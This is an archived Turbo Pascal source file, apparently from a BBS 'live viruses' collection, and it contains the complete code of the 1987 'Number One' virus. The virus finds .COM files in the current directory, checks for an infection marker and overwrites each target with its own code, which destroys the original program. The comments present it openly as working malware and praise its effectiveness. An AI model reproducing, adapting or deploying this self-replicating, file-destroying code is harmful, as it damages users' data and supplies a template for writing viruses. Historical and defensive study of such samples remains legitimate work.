home *** CD-ROM | disk | FTP | other *** search
/ The Unsorted BBS Collection / thegreatunsorted.tar / thegreatunsorted / live_viruses / virus_collections / virus.pas < prev    next >
Pascal/Delphi Source File  |  1989-06-28  |  5KB  |  133 lines

  1. {                             Virus in Pascal         }
  2. {                             ---------------         }
  3.  
  4.  
  5. { Pascal is another high level language that can produce eye popping computer }
  6. { viruses. Especially when the usage of Turbo Pascal is involved.             }
  7. { The virus below was available through various bulletin boards for           }
  8. { a while.                                                                    }
  9.  
  10.  
  11. {------------------------------------------------------------------}
  12. {Number One}
  13.  
  14. { Number One infects all .COM - file's name will be displayed         }
  15. { That file has been overwritten with Number Ones's program code and  }
  16. { is not reconstructible! If all files are infected or or no .COM     }
  17. { files are found, Number one gives you a <smile>.                    }
  18. { Files may be protected against infections of Number One by          }
  19. { setting the Read ONLY attribute.                                    }
  20.  
  21. { Written 10.3.87 by M.Vallen (Turbo Pascal 3.01A) - edited by ???    }
  22.  
  23. {------------------------------------------------------}
  24.  
  25. {C-}
  26. {U-}
  27. {I-}       { Wont allow a user break, enable IO check }
  28.  
  29. { -- Constants --------------------------------------- }
  30.  
  31. Const
  32.      VirusSize = 12027;    { Number One's code size }
  33.  
  34.      Warning   :String[42]     { Warning message }
  35.      = 'This File Has Been Infected by Number One!';
  36.  
  37. { -- Type declarations------------------------------------- }
  38.  
  39. Type
  40.      DTARec    =Record      { Data area for file search }
  41.      DOSnext  :Array[1..21] of Byte;
  42.                    Attr    : Byte;
  43.                    Ftime,
  44.                    FDate,
  45.                    FLsize,
  46.                    FHsize  : Integer;
  47.                    FullName: Array[1..13] of Char;
  48.                  End;
  49.  
  50. Registers    = Record    {Register set used for file search }
  51.    Case Byte of
  52.    1 : (AX,BX,CX,DX,BP,SI,DI,DS,ES,Flags : Integer);
  53.    2 : (AL,AH,BL,BH,CL,CH,DL,DH          : Byte);
  54.    End;
  55.  
  56. { -- Variables--------------------------------------------- }
  57.  
  58. Var
  59.                                { Memory offset program code }
  60.    ProgramStart : Byte absolute Cseg:$100;
  61.                                           { Infected marker }
  62.    MarkInfected : String[42] absolute Cseg:$180;
  63.    Reg          : Registers;                 { Register set }
  64.    DTA          : DTARec;                       { Data area }
  65.    Buffer       : Array[Byte] of Byte;        { Data buffer }
  66.    TestID       : String[42]; { To recognize infected files }
  67.    UsePath      : String[66];        { Path to search files }
  68.                                     { Lenght of search path }
  69.    UsePathLenght: Byte absolute UsePath;
  70.    Go           : File;                    { File to infect }
  71.    B            : Byte;                              { Used }
  72.  
  73. { -- Program code------------------------------------------ }
  74.  
  75. Begin
  76.   WriteLn(Warning);               { Display warning message }
  77.   GetDir(0, UsePath);               { get current directory }
  78.   if Pos('\', UsePath) <> UsePathLenght then
  79.     UsePath := UsePath + '\';
  80.   UsePath := UsePath + '*.COM';        { Define search mask }
  81.   Reg.AH := $1A;                            { Set data area }
  82.   Reg.DS := Seg(DTA);
  83.   Reg.DX := Ofs(DTA);
  84.   MsDos(Reg);
  85.   UsePath[Succ(UsePathLenght)]:=#0; { Path must end with #0 }
  86.   Reg.AH := $4E;
  87.   Reg.DS := Seg(UsePath);
  88.   Reg.DX := Ofs(UsePath[1]);
  89.   Reg.CX := $ff;          { Set attribute to find ALL files }
  90.   MsDos(Reg);                   { Find first matching entry }
  91.   IF not Odd(Reg.Flags) Then         { If a file found then }
  92.     Repeat
  93.       UsePath := DTA.FullName;
  94.       B := Pos(#0, UsePath);
  95.       If B > 0 then
  96.       Delete(UsePath, B, 255);             { Remove garbage }
  97.       Assign(Go, UsePath);
  98.       Reset(Go);
  99.       If IOresult = 0 Then          { If not IO error then }
  100.       Begin
  101.         BlockRead(Go, Buffer, 2);
  102.         Move(Buffer[$80], TestID, 43);
  103.                       { Test if file already ill(Infected) }
  104.         If TestID <> Warning Then        { If not then ... }
  105.         Begin
  106.           Seek (Go, 0);
  107.                             { Mark file as infected and .. }
  108.           MarkInfected := Warning;
  109.                                                { Infect it }
  110.           BlockWrite(Go,ProgramStart,Succ(VirusSize shr 7));
  111.           Close(Go);
  112.                                   { Say what has been done }
  113.           WriteLn(UsePath + 'infected.');
  114.           Halt;                   {.. and halt the program }
  115.         End;
  116.         Close(Go);
  117.       End;
  118.         { The file has already been infected, search next. }
  119.       Reg.AH := $4F;
  120.       Reg.DS := Seg(DTA);
  121.       Reg.DX := Ofs(DTA);
  122.       MsDos(Reg);
  123.     {  ......................Until no more files are found }
  124.     Until Odd(Reg.Flags);
  125.   Write('<Smile>');                          {Give a smile }
  126. End.
  127.  
  128.  
  129. { Although this is a primitive virus its effective. }
  130. { In this virus only the .COM                       }
  131. { files are infected. Its about 12K and it will     }
  132. { change the date entry.                            }
  133.